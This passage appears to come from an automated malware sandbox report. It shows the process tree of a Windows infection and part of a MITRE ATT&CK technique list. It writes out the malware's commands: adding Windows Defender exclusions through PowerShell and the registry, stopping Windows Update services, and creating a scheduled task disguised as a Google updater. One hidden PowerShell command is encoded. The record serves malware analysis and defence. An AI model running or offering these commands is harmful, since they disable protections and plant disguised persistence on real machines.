        PID:5560
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1CCE.exe" -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5040

C:\Users\Admin\AppData\Local\Temp\3FF7.exe
C:\Users\Admin\AppData\Local\Temp\3FF7.exe
1⤵
PID:2604
- C:\Users\Admin\AppData\Local\Temp\aafg31.exe
  "C:\Users\Admin\AppData\Local\Temp\aafg31.exe"
  2⤵
  PID:1704
- C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
  "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
  2⤵
  PID:4008
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    PID:4420
- C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe
  "C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe"
  2⤵
  PID:2848
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    PID:5904
- C:\Users\Admin\AppData\Local\Temp\kos1.exe
  "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
  2⤵
  PID:5228
- - C:\Users\Admin\AppData\Local\Temp\set16.exe
    "C:\Users\Admin\AppData\Local\Temp\set16.exe"
    3⤵
    PID:368
  - - C:\Users\Admin\AppData\Local\Temp\is-QQCA8.tmp\is-4IEC7.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-QQCA8.tmp\is-4IEC7.tmp" /SL4 $5021A "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
      4⤵
      PID:4920
    - - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        5⤵
        
        PID:516
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        5⤵
        
        PID:6072
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        6⤵
        
        PID:5856
    - - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        5⤵
        
        PID:6104
- - C:\Users\Admin\AppData\Local\Temp\kos.exe
    "C:\Users\Admin\AppData\Local\Temp\kos.exe"
    3⤵
    PID:5212

C:\Users\Admin\AppData\Local\Temp\4EEC.exe
C:\Users\Admin\AppData\Local\Temp\4EEC.exe
1⤵
PID:3984
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 3984 -s 496
  2⤵
  - Program crash
  PID:372

C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe
C:\Users\Admin\Pictures\95I57fxbuCJr4boX3xbpPnfB.exe --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=102.0.4880.78 --initial-client-data=0x2b4,0x2b8,0x2bc,0x290,0x2c0,0x6ae33600,0x6ae33610,0x6ae3361c
1⤵
PID:4884

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\95I57fxbuCJr4boX3xbpPnfB.exe
"C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\95I57fxbuCJr4boX3xbpPnfB.exe" --version
1⤵
PID:1260

C:\Users\Admin\AppData\Local\Temp\is-VGRJP.tmp\_isetup\_setup64.tmp
helper 105 0x3B8
1⤵
PID:4168

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:2616

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2320
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:3956
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5524
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:3856
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:4560

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:5892
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:5324
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:5656
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:5684
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4408

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:5496

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:1732

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:5332

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:4216

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:4860

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
1⤵
PID:4168

C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
C:\Users\Admin\AppData\Local\Temp\1ff8bec27e\nhdues.exe
1⤵
PID:3764

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry